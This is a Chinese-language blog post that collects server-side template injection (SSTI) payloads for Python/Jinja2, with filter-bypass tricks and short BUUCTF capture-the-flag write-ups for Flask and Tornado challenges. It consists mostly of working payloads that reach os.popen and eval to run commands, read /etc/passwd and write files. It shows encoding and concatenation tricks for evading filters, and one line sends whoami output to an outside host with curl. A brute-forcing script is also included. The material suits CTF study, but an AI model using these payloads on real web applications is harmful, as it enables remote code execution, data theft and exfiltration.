SSTI模板注入姿势

payload作业

有时候system函数会被过滤掉,我们就使用

1
().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')  #读取本级目录
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
获得基类
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__。。。class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python 2.7
#文件操作
#找到file类
[].__class__.__bases__[0].__subclasses__()[40]
#读文件
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#写文件
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')

#命令执行
#os执行
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache下有os类,可以直接执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
#eval,impoer等全局函数
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

#python3.7
#命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
#windows下的os命令
"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object

//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()

//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses_ _()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

绕过

拼接:

1
2
object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()

编码:

1
2
3
4
5
6
7
8

().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")

等价于

().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))(可以看出单双引号内的都可以编码)

同理还可以进行rot13、16进制编码等

过滤中括号:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
getitem()

"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)

pop()

''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

字典读取

__builtins__['eval']()
__builtins__.eval()

经过测试这种方法在python解释器里不能执行,但是在测试的题目环境下可以执行

过滤引号:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
先获取chr函数,赋值给chr,后面拼接字符串

{% set
chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr
%}{{
().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()
}}

或者借助request对象:(这种方法在沙盒种不行,在web下才行,因为需要传参)

{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd

PS:将其中的request.args改为request.values则利用post的方式进行传参

执行命令:

{% set
chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr
%}{{
().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read()
}}

{{
().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read()
}}&cmd=id

过滤双下划线:

1
2
3
4

{{
''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()
}}&class=__class__&mro=__mro__&subclasses=__subclasses__

过滤{undefined{undefined

1
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}

在url执行py格式命令:

1
2
3
4
5
6
eg:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='file' %}
{{ c("/etc/passwd").readlines() }}
{% endif %}
{% endfor %}

buuctf [Flask ]SSTI (1次实战)

进入页面,啥也没有,f12注释,也没有,那能想到的就是dirsearch扫了
嗯…啥也没扫出来,看看robots.txt,也没有…..

嗯,8会,看wp

get传参: name=4或者{undefined{2*2}}——–(至于为什么是name我也没找到答案)
回显是4,说明有ssti漏洞

构造payload,核心代码:

1
eval("__import__('os').popen('type flag.txt').read()")

os模块都是从warnings.catch_warnings模块入手的,在所有模块中查找catch_warnings的位置,为第59个

参考链接:
链接

脚本找出合适的类

1
2
3
4
5
6
7
8
9
10
11
12
# 仅供参考,不是用来抄作业的
import requests as res
import time
for i in range(0,400):
url="http://61ef7259-23f5-43b3-8a0d-111f2e8a2c17.node3.buuoj.cn/?search={{''.__class__.__base__.__base__.__subclasses__()[%d].__init__.__globals__}}"
response=res.get(url%i)
#BUUCTF中访问速度过快会返回429,此时就需要暂缓再访问
if response.status_code!=200:
time.sleep(0.3)
response=res.get(url%i)
print(len(response.text),i,response.status_code)

实战

[护网杯 2018]easy_tornado

tornado是Python下的1个web模板框架
进入页面,发现以下可访问项:
/flag.txt
/welcome.txt
/hints.txt
分别访问,结果如下:
页面: /file?filename=/flag.txt&filehash=5623eec5b6308052633aef08ea7d497a
结果:
/flag.txt
flag in /fllllllllllllag

页面: /file?filename=/welcome.txt&filehash=086cb0e1be24629a233966b3131a3443
结果:
/welcome.txt
render

页面: /file?filename=/hints.txt&filehash=0af2fd6996c0cf35b0f7d6f3bd8b29b0
结果:
/hints.txt
md5(cookie_secret+md5(filename))

这个hint….有啥用? cookie_secret: balabala,说白了就是对文件进行哈希验证
思路: 根据观察hints.txt以及url的参数得知,需要找到cookie_secret,然后和md5(filename)拼接才能通过验证,查看flag

存在msg参数(这个msg参数是怎么来的呢? 是发现在尝试注入报错后会返回这么个东西: http://42f63a3c-968f-48fa-a487-ae00bcb04161.node4.buuoj.cn:81/error?msg=Error)
那么cookie_secret怎么来的呢? 这就考验你查阅官方文档(全tm英文)的能力了

构造payload: error?msg= (这handler是啥我也8么学,看wp的)
就阔以获得cookie_secret了: {‘autoreload’: True, ‘compiled_template_cache’: False, ‘cookie_secret’: ‘3f239178-c592-4337-9b6a-4bf7d50d3a25’}

md5(filename): 3bf9f6cf685a6dd8defadabfb41a03a1
md5(cookie_secret+md5(filename)): b5c5087056961d3c3b65dd600d92d43b
成功得到flag


SSTI模板注入姿势
https://bl4zygao.github.io/2022/04/26/SSTI模板注入姿势/
Author
bl4zy
Posted on
April 26, 2022
Licensed under